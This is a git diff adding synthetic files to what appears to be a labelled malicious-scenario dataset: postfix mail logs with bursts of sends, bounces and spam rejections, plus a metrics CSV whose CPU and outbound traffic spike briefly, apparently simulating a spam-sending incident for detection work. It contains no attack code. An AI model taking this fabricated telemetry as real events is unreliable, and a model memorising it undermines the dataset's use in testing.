+Jul 02 11:06:38 mail-server postfix/smtp[2118]: 7E5232D3E4: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:40 CRON[3509]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:06:40 mail-server postfix/smtp[2118]: CBF3E5E532: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:40 mail-server postfix/smtp[2118]: 28EFED1BE8: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:40 mail-server postfix/smtp[2118]: C2FAC9DC3D: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:41 mail-server postfix/smtp[2118]: F6AF51064B: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:41 mail-server postfix/smtp[2118]: DB5942DBF6: to=, relay=mx.example.com[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (554 Service unavailable)) +Jul 02 11:06:41 mail-server postfix/qmgr[2011]: DB5942DBF6: removed +Jul 02 11:06:41 mail-server postfix/smtp[2118]: 2D4E5484D5: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:42 mail-server postfix/smtp[2118]: 384133F00E: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:42 mail-server postfix/smtp[2118]: 506F256696: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:42 mail-server postfix/smtp[2118]: 0A01E867DD: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:43 mail-server postfix/smtp[2118]: 619B6F0B2C: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:45 mail-server postfix/smtp[2118]: 63102CC1C5: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:45 mail-server postfix/smtp[2118]: BADDC9A16E: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:45 mail-server postfix/smtp[2118]: 686D941104: to=, relay=mx.mailservice.net[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (550 No such user)) +Jul 02 11:06:45 mail-server postfix/qmgr[2011]: 686D941104: removed +Jul 02 11:06:46 mail-server postfix/smtp[2118]: F60DF61A49: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:48 mail-server postfix/smtp[2118]: 88567D14FF: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:48 mail-server postfix/smtp[2118]: 9AB596D502: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:48 mail-server postfix/smtp[2118]: EC43750113: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:51 mail-server postfix/smtp[2118]: A77D2AB713: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:51 mail-server postfix/smtp[2118]: A13FED6A5F: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:51 mail-server postfix/smtp[2118]: 77CB83AE6A: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:51 mail-server postfix/smtp[2118]: 0E6D5DAF27: to=, relay=mx.user-inbox.org[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (550 No such user)) +Jul 02 11:06:51 mail-server postfix/qmgr[2011]: 0E6D5DAF27: removed +Jul 02 11:06:52 mail-server postfix/smtp[2118]: 2A06461499: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:52 mail-server postfix/smtp[2118]: 362CC13A4F: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:52 mail-server postfix/smtp[2118]: 636E9FFB18: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:52 mail-server postfix/smtp[2118]: 0A37FC9BC0: to=, relay=mx.user-inbox.org[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (554 Service unavailable)) +Jul 02 11:06:52 mail-server postfix/qmgr[2011]: 0A37FC9BC0: removed +Jul 02 11:06:53 mail-server postfix/smtp[2118]: 4E1BC66E14: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:55 mail-server postfix/smtp[2118]: F8E056DC9E: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:55 mail-server postfix/smtp[2118]: C425695D69: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:55 mail-server postfix/smtp[2118]: F6A1EE5F7F: to=, relay=mx.my-mail.co[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (554 Service unavailable)) +Jul 02 11:06:55 mail-server postfix/qmgr[2011]: F6A1EE5F7F: removed +Jul 02 11:06:57 mail-server postfix/smtp[2118]: BE459B175D: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:58 mail-server postfix/smtp[2118]: A6BC1B70F1: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:58 mail-server postfix/smtp[2118]: 6E11213B22: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:07:00 mail-server postfix/smtp[2118]: F14C4DF3C3: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:07:00 mail-server postfix/smtp[2118]: D9BA5DA276: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:07:02 mail-server postfix/smtp[2118]: 06F2B199F3: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:07:02 mail-server postfix/smtp[2118]: 3ED36477AF: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:07:02 mail-server postfix/smtp[2118]: 1C14B1AD4E: to=, relay=mx.mailservice.net[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (550 No such user)) +Jul 02 11:07:02 mail-server postfix/qmgr[2011]: 1C14B1AD4E: removed +Jul 02 11:07:03 mail-server postfix/smtp[2118]: 42918DAF2B: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:07:03 mail-server postfix/smtp[2118]: 8384F80737: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:07:05 mail-server postfix/smtp[2118]: E5908E0E4F: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:07:05 mail-server postfix/smtp[2118]: 8707317A01: to=, relay=mx.example.com[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (554 Service unavailable)) +Jul 02 11:07:05 mail-server postfix/qmgr[2011]: 8707317A01: removed +Jul 02 11:07:05 mail-server postfix/smtp[2118]: 5609DA29D6: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:07:06 mail-server postfix/smtp[2118]: 9F8D755FBE: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:07:06 mail-server postfix/smtp[2118]: B66CA84242: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:07:08 mail-server postfix/smtp[2118]: B6C5DD09BA: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:07:08 mail-server postfix/smtp[2118]: 8DFA2B74F5: to=, relay=mx.my-mail.co[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (550-5.1.1 The email account that you tried to reach does not exist)) +Jul 02 11:07:08 mail-server postfix/qmgr[2011]: 8DFA2B74F5: removed +Jul 02 11:07:08 mail-server postfix/smtp[2118]: 81346B3C68: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:07:10 mail-server postfix/smtp[2118]: 9337B144AB: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:07:10 mail-server postfix/smtp[2118]: BA5AC89378: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:07:10 mail-server postfix/smtp[2118]: 85B81884AC: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:07:10 mail-server postfix/smtp[2118]: ABD9FFB5B9: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:07:10 mail-server postfix/smtp[2118]: 005B32E12C: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:07:10 mail-server postfix/smtp[2118]: B4DE312176: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:07:12 mail-server postfix/smtp[2118]: E35A07AA07: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:07:13 mail-server postfix/smtp[2118]: D967E455F5: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:07:13 mail-server postfix/smtp[2118]: CABB731EB7: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:07:13 mail-server postfix/smtp[2118]: BAD738641D: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:07:15 mail-server postfix/smtp[2118]: 392397D338: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:07:15 mail-server postfix/smtp[2118]: 6804E7B392: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:07:16 mail-server postfix/smtp[2118]: 169371F795: to=, relay=mx.user-inbox.org[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (554 Service unavailable)) +Jul 02 11:07:16 mail-server postfix/qmgr[2011]: 169371F795: removed +Jul 02 11:07:17 mail-server postfix/smtp[2118]: DF70369AAD: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:07:18 mail-server postfix/smtp[2118]: BD7004EFD9: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:07:20 mail-server postfix/smtp[2118]: 6A4E0A70C5: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:07:20 mail-server postfix/smtp[2118]: 063723106F: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:07:20 mail-server postfix/smtp[2118]: 2797CF1473: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:07:21 mail-server postfix/smtp[2118]: 110CE67591: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:07:22 mail-server postfix/smtp[2118]: 534B397226: to=, relay=mx.mailservice.net[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (550-5.1.1 The email account that you tried to reach does not exist)) +Jul 02 11:07:22 mail-server postfix/qmgr[2011]: 534B397226: removed +Jul 02 11:07:23 mail-server postfix/smtp[2118]: 6CE6C3ED84: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:07:25 mail-server postfix/smtp[2118]: 0D314A71D1: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:07:25 mail-server postfix/smtp[2118]: 6314E8C2EA: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:07:25 mail-server postfix/smtp[2118]: F03061B478: to=, relay=mx.user-inbox.org[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (550-5.1.1 The email account that you tried to reach does not exist)) +Jul 02 11:07:25 mail-server postfix/qmgr[2011]: F03061B478: removed +Jul 02 11:07:27 mail-server postfix/smtp[2118]: F5B73F42BE: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:07:27 mail-server postfix/smtp[2118]: FA8D607652: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:07:27 mail-server postfix/smtp[2118]: 2047E91E54: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:07:28 mail-server postfix/smtp[2118]: ECA7343BCC: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:07:28 mail-server postfix/smtp[2118]: B9BCF5CEBA: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:07:28 mail-server postfix/smtp[2118]: 072BFE7FC8: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:07:28 mail-server postfix/smtp[2118]: 6A6A673C17: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) diff --git a/mali_dataset/scenario_5/mali_5_22.csv b/mali_dataset/scenario_5/mali_5_22.csv new file mode 100644 index 0000000000000000000000000000000000000000..5ce810b0b360648879ae48d0b912eecd76a98e9e --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_22.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-26T10:00:00Z,11.212890215779863,41.25037723484766,14.104429811709597,1.1829224448919322,1.186450665484071 +2025-08-26T10:00:05Z,10.686536624401766,40.147706509746726,7.361343464364324,1.8769288303094602,2.234836280993476 +2025-08-26T10:00:10Z,11.690689182730075,40.01325798279492,11.877910313155919,1.540494454615863,2.1625530689454195 +2025-08-26T10:00:15Z,10.072221740851408,40.09089207885213,10.384065801880432,1.0996885242914416,1.8547382260749057 +2025-08-26T10:00:20Z,10.890684221618002,41.384096792937555,11.686978451161496,1.0552838079063456,2.3843445861210104 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+2025-08-26T10:04:25Z,52.28151916917965,41.996903630986864,9.134063478883295,1.9141806076061156,57.35308572475476 +2025-08-26T10:04:30Z,50.107734360604034,41.56193507795233,13.93126768200563,1.3266664744779513,74.60296187090874 +2025-08-26T10:04:35Z,51.65685591312975,40.98957911072203,5.193336640406148,1.6947201473037232,70.19118950374516 +2025-08-26T10:04:40Z,46.522219708814475,40.14833014417694,10.297787071060618,1.6762828688232299,53.53712267105368 +2025-08-26T10:04:45Z,56.0862518317309,38.89107332271063,9.49541513484968,1.338238677579263,63.26664439235962 +2025-08-26T10:04:50Z,42.48951304157775,40.94758107668941,9.858324648564503,1.5755089622639145,61.91869824129981 +2025-08-26T10:04:55Z,58.086586000779434,38.210537038973385,13.89628786381114,1.2369708792357725,66.279296817848 +2025-08-26T10:05:00Z,55.6705697204783,40.26022122325834,13.876851886407296,1.0203363240545984,56.03434288374919 +2025-08-26T10:05:05Z,59.84262310251067,41.1683488740452,10.689432237110733,1.638650653310151,56.58746004664716 +2025-08-26T10:05:10Z,40.70569045607483,39.19023572474351,13.122593039232125,1.0329860225174832,69.11363427447573 +2025-08-26T10:05:15Z,58.230075492688,38.196411866760606,13.037961654166311,1.4726004517411275,69.4203088005074 +2025-08-26T10:05:20Z,48.396402292182415,41.20372766437526,13.252633216874278,1.7925039187702638,64.32088863640364 +2025-08-26T10:05:25Z,54.30061299649938,41.718913566780834,5.786289506745456,1.1290470968091033,67.58256982795695 +2025-08-26T10:05:30Z,53.55439282359431,40.346470928087996,13.347999021898588,1.2135236516715997,73.13052178056614 +2025-08-26T10:05:35Z,58.535138652434476,38.02337099805786,5.274240897719659,1.0067728372738456,61.40086334249822 +2025-08-26T10:05:40Z,53.59960146094852,38.98322429893419,7.7093596460277745,1.17123703129817,66.10803487794033 +2025-08-26T10:05:45Z,47.78498061986508,39.34538495959114,5.6573922057676915,1.0248012057039442,79.97891037358963 +2025-08-26T10:05:50Z,40.22144300676398,38.35947987123711,6.62165346727967,1.7154026264659235,68.36073170034116 +2025-08-26T10:05:55Z,43.293021365397934,38.49340143024335,6.057364270617082,1.8574895394962216,66.00734256952202 +2025-08-26T10:06:00Z,50.8891632914575,40.49689334344436,9.058677605620401,1.90291730024275,53.82860858922222 +2025-08-26T10:06:05Z,45.07652639946585,41.58738794330685,13.079133659301704,1.414965533939689,70.42247825427992 +2025-08-26T10:06:10Z,58.009212451058964,40.848727715495514,7.581052337740494,1.6077517739590814,55.66405245759832 +2025-08-26T10:06:15Z,46.927287958951744,41.860789239825785,7.120360515286289,1.9680528905574155,55.23176268642614 +2025-08-26T10:06:20Z,57.963703262404124,38.21544191440246,7.57975908974713,1.211610839536464,63.002830525529454 +2025-08-26T10:06:25Z,50.77739297415225,39.01737257724821,11.091119252761594,1.8540061279660471,53.536172179530354 +2025-08-26T10:06:30Z,12.749059975764728,41.33982411093244,5.282065792600293,1.9541439626626436,2.2896913047391596 +2025-08-26T10:06:35Z,13.661836768028918,38.1325237162593,13.859150005179565,1.1231720309258608,1.3490515943452712 +2025-08-26T10:06:40Z,12.853078085707367,38.65212187816316,12.867049876185048,1.0730103135424125,1.2638668568462557 +2025-08-26T10:06:45Z,11.284684822167852,41.131853275291675,7.288961536964993,1.5098707649143743,1.9571751368327766 +2025-08-26T10:06:50Z,14.445817851720035,40.403083888062476,11.247844248080682,1.062369624077021,2.3492106056686475 +2025-08-26T10:06:55Z,10.165901152878325,39.414551986774654,9.630342452204264,1.661951429478246,2.4778102420237595 +2025-08-26T10:07:00Z,11.598658838825122,38.73231735328739,11.225709147445897,1.2650722329879174,1.8091603103208498 +2025-08-26T10:07:05Z,11.608906511599653,39.79840326070318,5.057879463726018,1.6631165439905127,2.2688065485679854 +2025-08-26T10:07:10Z,13.924787095326954,40.002251841723286,13.193383332915914,1.175306097626036,1.264482259443267 +2025-08-26T10:07:15Z,11.134719660002938,38.73802902627542,13.28116469127111,1.3746182944009298,2.032961707412537 +2025-08-26T10:07:20Z,13.661747413153684,40.13651409352774,14.823437630776462,1.573844185359365,1.2396539365046109 +2025-08-26T10:07:25Z,10.03431447280401,40.91813255233957,5.772479877733722,1.170062932325799,1.8635234931466311 diff --git a/mali_dataset/scenario_5/mali_5_22.log b/mali_dataset/scenario_5/mali_5_22.log new file mode 100644 index 0000000000000000000000000000000000000000..d48ce4b5cd492f6604cf4a910c53f3f2ff9a6404 --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_22.log @@ -0,0 +1,323 @@ +Aug 26 10:00:00 mail-server CRON[2162]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:00:00 mail-server postfix/smtp[11374]: 1A2B3C4D5E: to=, relay=smtp.mycompany.com[172.16.0.5]:587, delay=0.5, status=sent (250 2.0.0 OK) +Aug 26 10:00:00 mail-server systemd[591]: Starting daily clean up activities... +Aug 26 10:00:50 mail-server postfix/smtp[14610]: 1A2B3C4D5E: to=, relay=smtp.mycompany.com[172.16.0.5]:587, delay=0.5, status=sent (250 2.0.0 OK) +Aug 26 10:01:30 mail-server systemd[403]: Starting daily clean up activities... +Aug 26 10:01:31 mail-server postfix/smtp[10260]: D4E5F67890: to=, relay=mailservice.net[10.0.0.3]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host fake-email.com said: 550 5.7.1 Service unavailable; client [1.2.3.4] blocked) +Aug 26 10:01:31 mail-server postfix/smtp[10880]: A3B4C12345: to=, relay=192.168.173.254[192.168.173.254]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:01:31 mail-server postfix/smtp[11349]: A3B4C12345: to=, relay=192.168.176.167[192.168.176.167]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:01:31 mail-server postfix/smtp[11771]: D4E5F67890: to=, relay=mailservice.net[10.0.0.3]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host fake-email.com said: 554 5.7.1 Message rejected under suspicion of SPAM) +Aug 26 10:01:31 mail-server postfix/smtp[18195]: A3B4C12345: to=, relay=192.168.46.128[192.168.46.128]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:01:32 mail-server postfix/smtp[17279]: D4E5F67890: to=, relay=test-domain.io[10.0.0.2]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host webhost.org said: 554 5.7.1 Message rejected under suspicion of SPAM) +Aug 26 10:01:34 mail-server postfix/smtp[15603]: D4E5F67890: to=, relay=webhost.org[10.0.0.4]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host mailservice.net said: 550 5.7.1 Service unavailable; client [1.2.3.4] blocked) +Aug 26 10:01:36 mail-server postfix/smtp[12744]: A3B4C12345: to=, relay=192.168.201.237[192.168.201.237]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:01:36 mail-server postfix/smtp[16609]: A3B4C12345: to=, relay=192.168.197.132[192.168.197.132]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:01:38 mail-server postfix/smtp[10855]: D4E5F67890: to=, relay=fake-email.com[10.0.0.2]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host test-domain.io said: 450 4.2.1 The user you are trying to contact is receiving mail at a rate that prevents additional messages from being delivered) +Aug 26 10:01:39 mail-server postfix/smtp[10697]: A3B4C12345: to=, relay=192.168.152.26[192.168.152.26]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:01:39 mail-server postfix/smtp[12188]: A3B4C12345: to=, relay=192.168.245.126[192.168.245.126]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:01:40 mail-server postfix/smtp[15638]: A3B4C12345: to=, relay=192.168.123.226[192.168.123.226]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:01:40 mail-server postfix/smtp[18224]: D4E5F67890: to=, relay=test-domain.io[10.0.0.5]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host example.com said: 450 4.2.1 The user you are trying to contact is receiving mail at a rate that prevents additional messages from being delivered) +Aug 26 10:01:42 mail-server postfix/smtp[16771]: A3B4C12345: to=, relay=192.168.72.218[192.168.72.218]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:01:43 mail-server postfix/smtp[16731]: A3B4C12345: to=, relay=192.168.119.108[192.168.119.108]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:01:45 mail-server postfix/smtp[12176]: A3B4C12345: to=, relay=192.168.195.119[192.168.195.119]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:01:46 mail-server postfix/smtp[17340]: D4E5F67890: to=, relay=mailservice.net[10.0.0.1]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host mailservice.net said: 450 4.2.1 The user you are trying to contact is receiving mail at a rate that prevents additional messages from being delivered) +Aug 26 10:01:47 mail-server postfix/smtp[19941]: A3B4C12345: to=, relay=192.168.131.173[192.168.131.173]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:01:49 mail-server postfix/smtp[11066]: A3B4C12345: to=, relay=192.168.189.147[192.168.189.147]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:01:49 mail-server postfix/smtp[14933]: D4E5F67890: to=, relay=example.com[10.0.0.3]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host example.com said: 550 5.1.1 User unknown) +Aug 26 10:01:49 mail-server postfix/smtp[18839]: 